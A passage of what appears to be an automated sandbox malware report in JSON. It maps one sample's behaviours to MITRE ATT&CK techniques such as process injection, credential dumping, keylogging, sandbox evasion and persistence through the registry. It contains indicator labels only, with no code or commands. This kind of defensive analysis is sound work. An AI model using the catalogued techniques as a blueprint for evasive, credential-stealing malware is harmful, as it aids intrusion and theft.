domains"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Strings related to file managers detected"},{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Found system command-related strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Contains ability to run commands (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Able to write/modify file content (Powershell command string)"},{"type":"informative","value":"Contains ability to receive remote commands (Powershell command string)"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to run commands from session history (Powershell command string)"},{"type":"malicious","value":"Executes powershell requesting to bypass execution policy"},{"type":"informative","value":"Contains ability to add modules to the current session (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Contains ability to create named pipes for inter-process communication (IPC)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"suspicious","value":"Contains native function calls"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Services File Permissions Weakness","attack_id":"T1574.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/010","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"BITS Jobs","attack_id":"T1197","attack_id_wiki":"https://attack.mitre.org/techniques/T1197","identifiers":[{"type":"informative","value":"Contains reference to background jobs (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to start services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Able to obtain instances of WMI classes using PowerShell"},{"type":"informative","value":"Contains ability to call WMI method (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Calls an API typically used to load libraries"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Execution","technique":"DLL","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Persistence","technique":"Windows Management Instrumentation Event Subscription","attack_id":"T1546.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/003","identifiers":[{"type":"informative","value":"Contains ability to create/update instances of WMI classes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Contains ability to retrieve credential objects (Powershell command string)"},{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Contains ability to retrieve system language"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate available system drives (PowerShell command string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Log Enumeration","attack_id":"T1654","attack_id_wiki":"https://attack.mitre.org/techniques/T1654","identifiers":[{"type":"informative","value":"Able to retrieve security-related event logs (PowerShell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query the machine timezone"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Identified known pipe name"},{"type":"informative","value":"Contains ability to move items (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Lateral Movement","technique":"Windows Remote Management","attack_id":"T1021.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/006","identifiers":[{"type":"informative","value":"Contains reference to remote powershell session activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Tries to open documents files"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Collection","technique":"Archive via Custom Method","attack_id":"T1560.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/003","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"References HTTP requests in memory"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Contains ability to copy items (Powershell command string)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops files with image extension"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Able to download remote files using web shell script"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops document files inside temp directory"},{"type":"informative","value":"Drops XML files"},{"type":"suspicious","value":"Drops executable files"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to stop a service (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Able to manipulate a file/directory time format"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"tactic":"Stealth","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Contains ability to clear content (Powershell command 